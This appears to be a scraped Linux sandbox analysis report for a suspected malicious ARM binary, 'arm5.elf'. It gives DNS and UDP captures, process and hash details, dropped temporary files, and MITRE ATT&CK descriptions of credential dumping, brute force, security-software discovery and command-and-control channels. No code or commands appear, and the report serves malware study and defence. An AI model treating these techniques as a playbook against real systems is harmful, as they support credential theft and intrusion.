UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 2, 2025 11:21:02.644490957 CEST	44081	53	192.168.2.15	1.1.1.1
Apr 2, 2025 11:21:02.644490957 CEST	35166	53	192.168.2.15	1.1.1.1
Apr 2, 2025 11:21:02.749730110 CEST	53	44081	1.1.1.1	192.168.2.15
Apr 2, 2025 11:21:02.750065088 CEST	53	35166	1.1.1.1	192.168.2.15

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 2, 2025 11:21:02.644490957 CEST	192.168.2.15	1.1.1.1	0x7529	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Apr 2, 2025 11:21:02.644490957 CEST	192.168.2.15	1.1.1.1	0x2495	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 2, 2025 11:21:02.749730110 CEST	1.1.1.1	192.168.2.15	0x7529	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false
Apr 2, 2025 11:21:02.749730110 CEST	1.1.1.1	192.168.2.15	0x7529	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: arm5.elf PID: 5532, Parent PID: 5452

General

Start time (UTC):	09:20:58
Start date (UTC):	02/04/2025
Path:	/tmp/arm5.elf
Arguments:	/tmp/arm5.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

File Activities

File Opened

File Deleted

File Read

File Written

File Moved

Directory Enumerated

Process Activities

Process Forked

Prctl Requested

Thread Sleep

System Activities

Query System Information (uname)

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: arm5.elf PID: 5536, Parent PID: 5532

General

Start time (UTC):	09:21:00
Start date (UTC):	02/04/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.
Tactics:	Credential Access
Data Sources:	Application Log: Application Log Content, Command: Command Execution, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Linux Analysis Report arm5.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.Mbn3Aw (deleted)

/tmp/qemu-open.WoMnMv (deleted)

/tmp/qemu-open.qZDeUw (deleted)

/tmp/qemu-open.yHyydt (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: arm5.elf PID: 5532, Parent PID: 5452

General

File Activities

File Opened

File Deleted

File Read

File Written

File Moved

Directory Enumerated

Process Activities

Process Forked

Prctl Requested

Thread Sleep

System Activities

Query System Information (uname)

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: arm5.elf PID: 5536, Parent PID: 5532

General

File Activities

Linux Analysis Report
arm5.elf